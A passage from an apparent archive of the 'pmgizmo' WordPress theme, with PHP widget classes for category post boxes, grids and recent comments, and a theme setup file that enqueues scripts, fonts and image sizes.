				echo '<a href="'. $link_url .'" title="'. $link_title . '">'. $widget_title . '</a>';
				echo '<a class="category-archive-link" href="'. $link_url .'" title="'. $link_title . '"><span class="genericon-next"></span></a>';
			
			else:
			
				echo $widget_title;
			
			endif;
			
			echo $after_title; 
			
		endif;

	}

	function update($new_instance, $old_instance) {

		$instance = $old_instance;
		$instance['title'] = sanitize_text_field($new_instance['title']);
		$instance['category'] = (int)$new_instance['category'];
		$instance['category_link'] = !empty($new_instance['category_link']);
		
		$this->delete_widget_cache();
		
		return $instance;
	}

	function form( $instance ) {
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );

?>
		<p>
			<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?>
				<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
			</label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id('category'); ?>"><?php _e('Category:', 'pmthemes'); ?></label><br/>
			<?php // Display Category Select
				$args = array(
					'show_option_all'    => __('All Categories', 'pmthemes'),
					'show_count' 		 => true,
					'hide_empty'		 => false,
					'selected'           => $category,
					'name'               => $this->get_field_name('category'),
					'id'                 => $this->get_field_id('category')
				);
				wp_dropdown_categories( $args ); 
			?>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('category_link'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $category_link ) ; ?> id="<?php echo $this->get_field_id('category_link'); ?>" name="<?php echo $this->get_field_name('category_link'); ?>" />
				<?php _e('Link Widget Title to Category Archive page', 'pmthemes'); ?>
			</label>
		</p>
		
<?php
	}
}
register_widget('Pmthemes_Category_Posts_Boxed_Widget');
?>pmgizmo/inc/widgets/posts-single.php000064400000017431152223213640013613 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Category Posts Single Widget
class Pmthemes_Category_Posts_Single_Widget extends WP_Widget {

	function __construct() {
		
		// Setup Widget
		parent::__construct(
			'pmthemes_category_posts_single', // ID
			sprintf( esc_html__( 'PM Home Single Column', 'pmthemes' )), // Name
			array( 
				'classname' => 'pmthemes_category_posts_single', 
				'description' => esc_html__( 'For magazine front page. Displays posts in single column.', 'pmthemes' ) 
			) // Args
		);
		
		// Delete Widget Cache on certain actions
		add_action( 'save_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'deleted_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'switch_theme', array( $this, 'delete_widget_cache' ) );
		
	}

	public function delete_widget_cache() {
		
		wp_cache_delete('widget_pmthemes_category_posts_single', 'widget');
		
	}
	
	private function default_settings() {
	
		$defaults = array(
			'title'				=> '',
			'category'			=> 0,
			'number'			=> 1,
			'post_metas'		=> true,
			'category_link'		=> false
		);
		
		return $defaults;
		
	}
	
	// Display Widget
	function widget($args, $instance) {

		$cache = array();
				
		// Get Widget Object Cache
		if ( ! $this->is_preview() ) {
			$cache = wp_cache_get( 'widget_pmthemes_category_posts_single', 'widget' );
		}
		if ( ! is_array( $cache ) ) {
			$cache = array();
		}

		// Display Widget from Cache if exists
		if ( isset( $cache[ $this->id ] ) ) {
			echo $cache[ $this->id ];
			return;
		}
		
		// Start Output Buffering
		ob_start();
			
		// Extract Sidebar Arguments
		extract($args);
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Output
		echo $before_widget;
	?>
		<div id="widget-category-posts-single" class="widget-category-posts clearfix">

			<?php // Display Title
			$this->display_widget_title($args, $instance); ?>
			
			<div class="widget-category-posts-content">
			
				<?php $this->render($instance); ?>
				
			</div>
			
		</div>
	<?php
		echo $after_widget;
		
		// Set Cache
		if ( ! $this->is_preview() ) {
			$cache[ $this->id ] = ob_get_flush();
			wp_cache_set( 'widget_pmthemes_category_posts_single', $cache, 'widget' );
		} else {
			ob_end_flush();
		}
	
	}
	
	// Render Widget Content
	function render($instance) {
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Get latest posts from database
		$query_arguments = array(
			'posts_per_page' => (int)$number,
			'ignore_sticky_posts' => true,
			'cat' => (int)$category
		);
		$posts_query = new WP_Query($query_arguments);
		$i = 0;

		// Check if there are posts
		if( $posts_query->have_posts() ) :
		
			// Display Posts
			while( $posts_query->have_posts() ) : $posts_query->the_post(); ?>

				<article id="post-<?php the_ID(); ?>" <?php post_class('single-post'); ?>>

					<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail('featured_image', array('class' => 'grow')); ?></a>
					
					<h2 class="post-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>
                    
                    <?php // Display Post Meta
					if( $post_metas == true ) : ?>
					<div class="postmeta"><?php pmthemes_display_postmeta(); ?></div>
                    <?php endif; ?>

					<div class="entry">
					<?php the_excerpt(); ?>
					</div>

				</article>
                
                

			<?php endwhile;

		endif;
		
		// Reset Postdata
		wp_reset_postdata();

	}
	
	// Display Widget Title
	function display_widget_title($args, $instance) {
		
		// Get Sidebar Arguments
		extract($args);
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Add Widget Title Filter
		$widget_title = apply_filters('widget_title', $title, $instance, $this->id_base);
		
		if( !empty( $widget_title ) ) :
		
			echo $before_title;
			
			// Link Category Title
			if( $category_link == true ) : 
			
				// Check if "All Categories" is selected
				if( $category == 0 ) :
				
					$link_title = __('View all posts', 'pmthemes');
					
					// Set Link URL to always point to latest posts page
					if ( get_option( 'show_on_front' ) == 'page' ) :
						$link_url = esc_url( get_permalink( get_option('page_for_posts' ) ) );
					else : 
						$link_url =	esc_url( home_url('/') );
					endif;
					
				else :
					
					// Set Link URL and Title for Category
					$link_title = sprintf( __('View all posts from category %s', 'pmthemes'), get_cat_name( $category ) );
					$link_url = esc_url( get_category_link( $category ) );
					
				endif;
				
				// Display linked Widget Title
				echo '<a href="'. $link_url .'" title="'. $link_title . '">'. $widget_title . '</a>';
				echo '<a class="category-archive-link" href="'. $link_url .'" title="'. $link_title . '"><span class="genericon-next"></span></a>';
			
			else:
			
				echo $widget_title;
			
			endif;
			
			echo $after_title; 
			
		endif;

	}

	function update($new_instance, $old_instance) {

		$instance = $old_instance;
		$instance['title'] = sanitize_text_field($new_instance['title']);
		$instance['category'] = (int)$new_instance['category'];
		$instance['number'] = (int)$new_instance['number'];
		$instance['category_link'] = !empty($new_instance['category_link']);
		$instance['post_metas'] = !empty($new_instance['post_metas']);
		
		$this->delete_widget_cache();
		
		return $instance;
	}

	function form( $instance ) {
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );

?>
		<p>
			<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?>
				<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
			</label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id('category'); ?>"><?php _e('Category:', 'pmthemes'); ?></label><br/>
			<?php // Display Category Select
				$args = array(
					'show_option_all'    => __('All Categories', 'pmthemes'),
					'show_count' 		 => true,
					'hide_empty'		 => false,
					'selected'           => $category,
					'name'               => $this->get_field_name('category'),
					'id'                 => $this->get_field_id('category')
				);
				wp_dropdown_categories( $args ); 
			?>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of posts:', 'pmthemes'); ?>
				<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $number; ?>" size="3" />
			</label>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('category_link'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $category_link ) ; ?> id="<?php echo $this->get_field_id('category_link'); ?>" name="<?php echo $this->get_field_name('category_link'); ?>" />
				<?php _e('Link Widget Title to Category Archive page', 'pmthemes'); ?>
			</label>
		</p>
        
		<p>
			<label for="<?php echo $this->get_field_id('post_metas'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $post_metas ) ; ?> id="<?php echo $this->get_field_id('post_metas'); ?>" name="<?php echo $this->get_field_name('post_metas'); ?>" />
				<?php _e('Display post meta', 'pmthemes'); ?>
			</label>
		</p>
		
<?php
	}
}
register_widget('Pmthemes_Category_Posts_Single_Widget');
?>pmgizmo/inc/widgets/.htaccess000064400000000000152223213640012231 0ustar00pmgizmo/inc/widgets/posts-grid.php000064400000024222152223213640013253 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Category Posts Grid Widget
class Pmthemes_Category_Posts_Grid_Widget extends WP_Widget {

	function __construct() {
		
		// Setup Widget
		parent::__construct(
			'pmthemes_category_posts_grid', // ID
			sprintf( esc_html__( 'PM Home Posts Grid', 'pmthemes' )), // Name
			array( 
				'classname' => 'pmthemes_category_posts_grid', 
				'description' => esc_html__( 'For magazine front page. Display posts in grid layout (can show 1 category only).', 'pmthemes' ) 
			) // Args
		);
		
		// Delete Widget Cache on certain actions
		add_action( 'save_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'deleted_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'switch_theme', array( $this, 'delete_widget_cache' ) );
		
	}

	public function delete_widget_cache() {
		
		wp_cache_delete('widget_pmthemes_category_posts_grid', 'widget');
		
	}
	
	private function default_settings() {
	
		$defaults = array(
			'title'				=> '',
			'number'			=> 6,
			'category'			=> 0,
			'thumbnails'		=> false,
			'category_link'		=> false
		);
		
		return $defaults;
		
	}
	
	// Display Widget
	function widget($args, $instance) {

		$cache = array();
				
		// Get Widget Object Cache
		if ( ! $this->is_preview() ) {
			$cache = wp_cache_get( 'widget_pmthemes_category_posts_grid', 'widget' );
		}
		if ( ! is_array( $cache ) ) {
			$cache = array();
		}

		// Display Widget from Cache if exists
		if ( isset( $cache[ $this->id ] ) ) {
			echo $cache[ $this->id ];
			return;
		}
		
		// Start Output Buffering
		ob_start();
		
		// Get Sidebar Arguments
		extract($args);
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Output
		echo $before_widget;
	?>
		<div id="widget-category-posts-grid" class="widget-category-posts clearfix">
		
			<?php // Display Title
			$this->display_widget_title($args, $instance); ?>
			
			<div class="widget-category-posts-content">
			
				<?php $this->render($instance); ?>
				
			</div>
			
		</div>
	<?php
		echo $after_widget;
		
		// Set Cache
		if ( ! $this->is_preview() ) {
			$cache[ $this->id ] = ob_get_flush();
			wp_cache_set( 'widget_pmthemes_category_posts_grid', $cache, 'widget' );
		} else {
			ob_end_flush();
		}
		
	}
	
	// Render Widget Content
	function render($instance) {

		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
	
		// Get latest posts from database
		$query_arguments = array(
			'posts_per_page' => (int)$number,
			'ignore_sticky_posts' => true,
			'cat' => (int)$category
		);
		$posts_query = new WP_Query($query_arguments);
		$i = 0;
		
		// Check if there are posts
		if( $posts_query->have_posts() ) :
		
			// Limit the number of words for the excerpt
			add_filter('excerpt_length', 'pmthemes_frontpage_category_excerpt_length');
			
			// Display Posts
			while( $posts_query->have_posts() ) :
				
				$posts_query->the_post(); 
				
				 // Open new Row on the Grid
				 if ( $i % 2 == 0) : ?>
			
					<div class="category-posts-grid-row clearfix">
		
				<?php // Set Variable row_open to true
					$row_open = true;
				endif; ?>

				<?php // Display small posts or big posts grid layout based on options
				if( $thumbnails == true ) : ?>

					<div class="small-post-wrap">
						
						<article id="post-<?php the_ID(); ?>" <?php post_class('small-post clearfix'); ?>>

						<?php if ( '' != get_the_post_thumbnail() ) : ?>
							<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail('category_posts_small_thumb', array('class' => 'grow')); ?></a>
						<?php endif; ?>

							<div class="small-post-content">
								<h2 class="post-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>
								<div class="postmeta"><?php $this->display_postmeta($instance); ?></div>
							</div>
						<div class="entry">
							<?php the_excerpt(); ?>
						</div>
						</article>
						
					</div>
					
				<?php else: ?>
				
					<article id="post-<?php the_ID(); ?>" <?php post_class('big-post'); ?>>

						<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail('category_posts_wide_thumb', array('class' => 'grow')); ?></a>

						<h2 class="post-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>

						<div class="postmeta"><?php $this->display_postmeta($instance); ?></div>

						<div class="entry">
							<?php the_excerpt(); ?>
						</div>

					</article>
				
				<?php endif; ?>
		
				<?php // Close Row on the Grid
				if ( $i % 2 == 1) : ?>
				
					</div>
				
				<?php // Set Variable row_open to false
					$row_open = false;
				
				endif; $i++;
				
			endwhile;
			
			// Remove excerpt filter
			remove_filter('excerpt_length', 'pmthemes_frontpage_category_excerpt_length');
			
		endif;
		
		// Reset Postdata
		wp_reset_postdata();
		
	}
	
	// Display Postmeta
	function display_postmeta($instance) { ?>
	<?php 
	$theme_options = pmthemes_theme_options();
	if ( isset($theme_options['show_post_dates']) and $theme_options['show_post_dates'] == true ) : ?>
		<span class="meta-date">
		<?php printf(__('<a href="%1$s" title="%2$s" rel="bookmark"><time datetime="%3$s">%4$s</time></a>', 'pmthemes'), 
				esc_url( get_permalink() ),
				esc_attr( get_the_time() ),
				esc_attr( get_the_date( 'c' ) ),
				esc_html( get_the_date() )
			);
		?>
		</span>
		<span class="meta-author">
		<?php printf(__('<a href="%1$s" title="%2$s" rel="author">%3$s</a>', 'pmthemes'), 
				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
				esc_attr( sprintf( esc_html__( 'View all posts by %s', 'pmthemes' ), get_the_author() ) ),
				esc_html( get_the_author() )
			);
		?>
		</span>
	<?php endif;

	}
	
	// Display Widget Title
	function display_widget_title($args, $instance) {
		
		// Get Sidebar Arguments
		extract($args);
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Add Widget Title Filter
		$widget_title = apply_filters('widget_title', $title, $instance, $this->id_base);
		
		if( !empty( $widget_title ) ) :
		
			echo $before_title;
			
			// Link Category Title
			if( $category_link == true ) : 
			
				// Check if "All Categories" is selected
				if( $category == 0 ) :
				
					$link_title = __('View all posts', 'pmthemes');
					
					// Set Link URL to always point to latest posts page
					if ( get_option( 'show_on_front' ) == 'page' ) :
						$link_url = esc_url( get_permalink( get_option('page_for_posts' ) ) );
					else : 
						$link_url =	esc_url( home_url('/') );
					endif;
					
				else :
					
					// Set Link URL and Title for Category
					$link_title = sprintf( __('View all posts from category %s', 'pmthemes'), get_cat_name( $category ) );
					$link_url = esc_url( get_category_link( $category ) );
					
				endif;
				
				// Display linked Widget Title
				echo '<a href="'. $link_url .'" title="'. $link_title . '">'. $widget_title . '</a>';
				echo '<a class="category-archive-link" href="'. $link_url .'" title="'. $link_title . '"><span class="genericon-next"></span></a>';
			
			else:
			
				echo $widget_title;
			
			endif;
			
			echo $after_title; 
			
		endif;

	}

	function update($new_instance, $old_instance) {

		$instance = $old_instance;
		$instance['title'] = sanitize_text_field($new_instance['title']);
		$instance['category'] = (int)$new_instance['category'];
		$instance['number'] = (int)$new_instance['number'];
		$instance['thumbnails'] = !empty($new_instance['thumbnails']);
		$instance['category_link'] = !empty($new_instance['category_link']);
		
		$this->delete_widget_cache();
		
		return $instance;
	}

	function form( $instance ) {
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );

?>
		<p>
			<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?>
				<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
			</label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id('category'); ?>"><?php _e('Category:', 'pmthemes'); ?></label><br/>
			<?php // Display Category Select
				$args = array(
					'show_option_all'    => __('All Categories', 'pmthemes'),
					'show_count' 		 => true,
					'hide_empty'		 => false,
					'selected'           => $category,
					'name'               => $this->get_field_name('category'),
					'id'                 => $this->get_field_id('category')
				);
				wp_dropdown_categories( $args ); 
			?>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of posts:', 'pmthemes'); ?>
				<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $number; ?>" size="3" />
				<br/><span class="description"><?php _e('Please chose an even number (2, 4, 6, 8).', 'pmthemes'); ?></span>
			</label>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('thumbnails'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $thumbnails ) ; ?> id="<?php echo $this->get_field_id('thumbnails'); ?>" name="<?php echo $this->get_field_name('thumbnails'); ?>" />
				<?php _e('Display as small posts grid with thumbnails', 'pmthemes'); ?>
			</label>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('category_link'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $category_link ) ; ?> id="<?php echo $this->get_field_id('category_link'); ?>" name="<?php echo $this->get_field_name('category_link'); ?>" />
				<?php _e('Link Widget Title to Category Archive page', 'pmthemes'); ?>
			</label>
		</p>
<?php
	}
}
register_widget('Pmthemes_Category_Posts_Grid_Widget');
?>pmgizmo/inc/widgets/recent-comments.php000064400000016152152223213640014266 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Recent Comments Widget
class Pmthemes_Recent_Comments_Widget extends WP_Widget {

	var $comment_length = 40;
	
	function __construct() {
		
		// Setup Widget
		parent::__construct(
			'pmthemes_recent_comments', // ID
			sprintf( esc_html__( 'PM Recent Comments', 'pmthemes' )), // Name
			array( 
				'classname' => 'pmthemes_recent_comments', 
				'description' => esc_html__( 'For sidebar. Show recent comments with gravatar.', 'pmthemes' ) 
			) // Args
		);

		add_action( 'comment_post', array(&$this, 'flush_widget_cache') );
		add_action( 'transition_comment_status', array(&$this, 'flush_widget_cache') );
	}

	function widget( $args, $instance ) {
		global $comments, $comment;

		$cache = wp_cache_get('widget_pmthemes_recent_comments', 'widget');

		if ( ! is_array( $cache ) )
			$cache = array();

		if ( ! isset( $args['widget_id'] ) )
			$args['widget_id'] = $this->id;

		if ( isset( $cache[ $args['widget_id'] ] ) ) {
			echo $cache[ $args['widget_id'] ];
			return;
		}

 		extract($args, EXTR_SKIP);
 		$output = '';
		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base );

		if ( empty( $instance['number'] ) || ! $number = absint( $instance['number'] ) )
 			$number = 5;
			
		$avatar = (int)$instance['avatar'];
		$post_title = (int)$instance['post_title'];
		$comment_content = (int)$instance['comment_content'];
		$comment_length = $this->comment_length = empty( $instance['comment_length'] ) ? 0 : $instance['comment_length'];
		$comment_date = (int)$instance['comment_date'];
		
		$comments = get_comments( apply_filters( 'pmthemes_widget_comments_args', array( 'number' => $number, 'status' => 'approve', 'post_status' => 'publish' ) ) );
		$output .= $before_widget;
		if ( $title )
			$output .= $before_title . $title . $after_title;

		$output .= '<div class="widget-recent-comments">';
		$output .= '<ul>';
		if ( $comments ) {
			foreach ( (array) $comments as $comment) {
				
				if ( $avatar == 1 ) :
					$output .= '<li class="widget-avatar"><a href="' . esc_url( get_comment_link($comment->comment_ID) ) . '">' . get_avatar( $comment, 55 ) . '</a>';
				else:
					$output .= '<li>';
				endif;
				
				if ( $post_title == 1 ) :
					$output .= get_comment_author_link();
					$output .= __(' on', 'pmthemes') . ' <a href="' . esc_url( get_comment_link($comment->comment_ID) ) . '">' . get_the_title($comment->comment_post_ID) . '</a>';
				else:
					$output .= '<a href="' . esc_url( get_comment_link($comment->comment_ID) ) . '">' . get_comment_author_link() . '</a>';

				endif;
				if ( $comment_content == 1 ) :
					$output .= __(' said:', 'pmthemes') . ' <span class="comment-content">' . $this->widget_comment_length($comment->comment_content) . '</span> ';
				endif;
				if ( $comment_date == 1 ) :
					$output .= '<div class="comment-date">' . date('M d H:i', strtotime($comment->comment_date)) . '</div>';
				endif;
				$output .= '</li>';
			}
 		}
		$output .= '</ul>';
		$output .= '</div>';
		$output .= $after_widget;

		echo $output;
		$cache[$args['widget_id']] = $output;
		wp_cache_set('widget_pmthemes_recent_comments', $cache, 'widget');
	}

	function update( $new_instance, $old_instance ) {
		$instance = $old_instance;
		$instance['title'] = isset($new_instance['title']) ? esc_attr($new_instance['title']) : '';
		$instance['number'] = (int) $new_instance['number'];
		$instance['avatar'] = $new_instance['avatar'] ? 1 : 0;
		$instance['post_title'] = $new_instance['post_title'] ? 1 : 0;
		$instance['comment_content'] = $new_instance['comment_content'] ? 1 : 0;
		$instance['comment_length'] = (int) $new_instance['comment_length'];
		$instance['comment_date'] = $new_instance['comment_date'] ? 1 : 0;
		
		$this->flush_widget_cache();

		return $instance;
	}
	
	function widget_comment_length($comment) {
		$parts = explode("\n", wordwrap($comment, $this->comment_length, "\n"));
		return $parts[0];
	}

	function flush_widget_cache() {
		wp_cache_delete('widget_pmthemes_recent_comments', 'widget');
	}

	function form( $instance ) {
		$title = isset($instance['title']) ? esc_attr($instance['title']) : '';
		$number = isset($instance['number']) ? absint($instance['number']) : 5;
		$avatar = (isset($instance['avatar']) and $instance['avatar'] == 1) ? 'checked="checked"' : '';
		$post_title = (isset($instance['post_title']) and $instance['post_title'] == 1) ? 'checked="checked"' : '';
		$comment_content = (isset($instance['comment_content']) and $instance['comment_content'] == 1) ? 'checked="checked"' : '';
		$comment_length = isset($instance['comment_length']) ? absint($instance['comment_length']) : 40;
		$comment_date = (isset($instance['comment_date']) and $instance['comment_date'] == 1) ? 'checked="checked"' : '';
		
?>
		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?></label>
		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>

		<p><label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of comments to show:', 'pmthemes'); ?></label>
		<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $number; ?>" size="3" /></p>
		
		<p><input class="checkbox" type="checkbox" <?php echo $avatar; ?> id="<?php echo $this->get_field_id('avatar'); ?>" name="<?php echo $this->get_field_name('avatar'); ?>" />
		<label for="<?php echo $this->get_field_id('avatar'); ?>"><?php _e('Show avatar of comment author?', 'pmthemes'); ?></label></p>
		
		<p><input class="checkbox" type="checkbox" <?php echo $post_title; ?> id="<?php echo $this->get_field_id('post_title'); ?>" name="<?php echo $this->get_field_name('post_title'); ?>" />
		<label for="<?php echo $this->get_field_id('post_title'); ?>"><?php _e('Show post title of commented post?', 'pmthemes'); ?></label></p>
		
		<p><input class="checkbox" type="checkbox" <?php echo $comment_content; ?> id="<?php echo $this->get_field_id('comment_content'); ?>" name="<?php echo $this->get_field_name('comment_content'); ?>" />
		<label for="<?php echo $this->get_field_id('comment_content'); ?>"><?php _e('Show excerpt of comment?', 'pmthemes'); ?></label></p>
		
		<p><label for="<?php echo $this->get_field_id('comment_length'); ?>"><?php _e('Excerpt length in number of characters:', 'pmthemes'); ?></label>
		<input class="widefat" id="<?php echo $this->get_field_id('comment_length'); ?>" name="<?php echo $this->get_field_name('comment_length'); ?>" type="text" value="<?php echo $comment_length; ?>" /></p>

		<p><input class="checkbox" type="checkbox" <?php echo $comment_date; ?> id="<?php echo $this->get_field_id('comment_date'); ?>" name="<?php echo $this->get_field_name('comment_date'); ?>" />
		<label for="<?php echo $this->get_field_id('comment_date'); ?>"><?php _e('Show date of comment?', 'pmthemes'); ?></label></p>
		
<?php
	}
}

?>pmgizmo/inc/.htaccess000064400000000000152223213640010563 0ustar00pmgizmo/inc/theme-functions.php000064400000037167152223213640012636 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
add_action('wp_enqueue_scripts', 'pmthemes_enqueue_scripts');
function pmthemes_enqueue_scripts(){
    // Get Theme Options from Database
    $theme_options = pmthemes_theme_options();
    // Register and Enqueue Stylesheet
    wp_enqueue_style('pmthemes-stylesheet', get_stylesheet_uri());
    // Register Dashicons
    wp_enqueue_style( 'dashicons' );
    // Register and Enqueue FlexSlider JS and CSS if necessary
    if ((isset($theme_options['slider_activated_blog']) and $theme_options['slider_activated_blog'] == true)
        || (isset($theme_options['slider_activated_front_page']) and $theme_options['slider_activated_front_page'] == true)) :
        // FlexSlider CSS
        wp_enqueue_style('pmthemes-flexslider', PMTHEMES_URI . '/css/flexslider.css');
        // FlexSlider JS
        wp_enqueue_script('pmthemes-jquery-flexslider', PMTHEMES_URI . '/js/jquery.flexslider-min.js', array('jquery'), false, true);
        // Register and enqueue slider.js
        wp_enqueue_script('pmthemes-jquery-frontpage_slider', PMTHEMES_URI . '/js/slider.js', array('pmthemes-jquery-flexslider'), false, true);
    endif;
    // Register and enqueue navigation.js
    wp_enqueue_script('pmthemes-jquery-navigation', PMTHEMES_URI . '/js/navigation.js', array('jquery'), false, true);
    // Combine Menu Script
    if ((isset($theme_options['pmthemes_merge_menus']) and $theme_options['pmthemes_merge_menus'] == true)) :
        wp_enqueue_script('pmthemes-merge-menus', PMTHEMES_URI . '/js/merge-menus.js', array('jquery'), false, true);
    endif;
    // Register and Enqueue Google Font
    if ((isset($theme_options['activate_google_fonts']) and $theme_options['activate_google_fonts'] == true)
        and ($theme_options['available_fonts'] <> "default") ) :
        wp_enqueue_style('pmthemes-default-fonts', pmthemes_fonts_url(), array(), null);
    endif;
    // Register Lightbox CSS
    wp_enqueue_script('fancybox', get_template_directory_uri() . '/inc/lightbox/js/jquery.fancybox.min.js', array('jquery'), false, true);
    wp_enqueue_script('lightbox', get_template_directory_uri() . '/inc/lightbox/js/lightbox.js', array('fancybox'), false, true);
    wp_enqueue_style('lightbox-style', get_template_directory_uri() . '/inc/lightbox/css/jquery.fancybox.min.css');

}

// Load comment-reply.js if comment form is loaded and threaded comments activated
add_action( 'comment_form_before', 'pmthemes_enqueue_comment_reply' );
function pmthemes_enqueue_comment_reply() {
	if( get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}
}
/*
* Retrieve Font URL to register default Google Fonts
*/
function pmthemes_fonts_url() {
		// Set Default Fonts
		$font_families = array('Raleway:400,700', 'Bitter'); 
		// Set Google Font Query Args
		$query_args = array(
			'family' => urlencode( implode( '|', $font_families ) ),
			'subset' => urlencode( 'latin,latin-ext' ),
		);
		// Create Fonts URL
		$fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
		return apply_filters( 'pmthemes_google_fonts_url', $fonts_url );
}
// Setup Function: Registers support for various WordPress features
add_action( 'after_setup_theme', 'pmthemes_setup' );
function pmthemes_setup() {
	// Set Content Width
	global $content_width;
	if ( ! isset( $content_width ) )
		$content_width = 860;
	// init Localization
	load_theme_textdomain('pmthemes', PMTHEMES_DIR . '/languages' );
	// Add Theme Support
    add_theme_support('align-wide');
	add_theme_support('post-thumbnails');
	add_theme_support('automatic-feed-links');
	add_theme_support('title-tag');
    
	// Editor Styles
	add_theme_support( 'editor-styles' );
	add_editor_style( 'css/editor-style.css' );

	// Add Custom Background
	add_theme_support('custom-background', array(
		'default-color' => 'e5e5e5',
		'default-attachment' => 'fixed',
    ));
	// Add Custom Header
	add_theme_support('custom-header', array(
		'header-text' => false,
		'width'	=> 1340,
		'height' => 250,
	    'default-repeat'         => '',
	    'default-position-x'     => '',
		'flex-width' => true,
		'flex-height' => true));
	// Enable support for WooCommerce
    if ( class_exists( 'WooCommerce' ) ):
	    add_theme_support( 'woocommerce' );
    	add_theme_support( 'wc-product-gallery-zoom' );
    	add_theme_support( 'wc-product-gallery-lightbox' );
    	add_theme_support( 'wc-product-gallery-slider' );
    endif;
	// Enable support for Widget Plugin
	add_theme_support( 'pmthemes' );
	// Register Navigation Menus
	register_nav_menu( 'primary', __('Main Navigation', 'pmthemes') );
	register_nav_menu( 'secondary', __('Top Navigation', 'pmthemes') );
	register_nav_menu( 'sticky', __('Sticky Navigation', 'pmthemes') );
	register_nav_menu( 'footer', __('Footer Navigation', 'pmthemes') );
	// Register Social Icons Menu
	register_nav_menu( 'social', __('Social Icons', 'pmthemes') );
	// Register Add On Widgets
	register_widget('Pmthemes_Popular_Posts_Widget');
	register_widget('Pmthemes_Recent_Comments_Widget');
	register_widget('Pmthemes_Recent_Posts_Widget');
	register_widget('Pmthemes_Social_Icons_Widget');
	register_widget('Pmthemes_Tabbed_Content_Widget');

    if ( ! function_exists( 'wp_body_open' ) ) {
        function wp_body_open() {
            do_action( 'wp_body_open' );
        }
    }
}

// Add custom Image Sizes
add_action( 'after_setup_theme', 'pmthemes_add_image_sizes' );
function pmthemes_add_image_sizes() {
	// Add Custom Header Image Size
	add_image_size( 'custom_header_image', 1340, 250, true);
	// Add Featured Image Size
	add_image_size( 'featured_image', 220, 220, true);
	add_image_size( 'featured_image_posts', 800, 500, true);
	// Add Slider Image Size
	add_image_size( 'slider_image', 800, 400, true);
	// Add Frontpage Thumbnail Sizes
	add_image_size( 'category_posts_wide_thumb', 600, 240, true);
	add_image_size( 'category_posts_small_thumb', 150, 150, true);
	// Add Widget Post Thumbnail Size
	add_image_size( 'widget_post_thumb', 75, 75, true);
}

// Register Sidebars
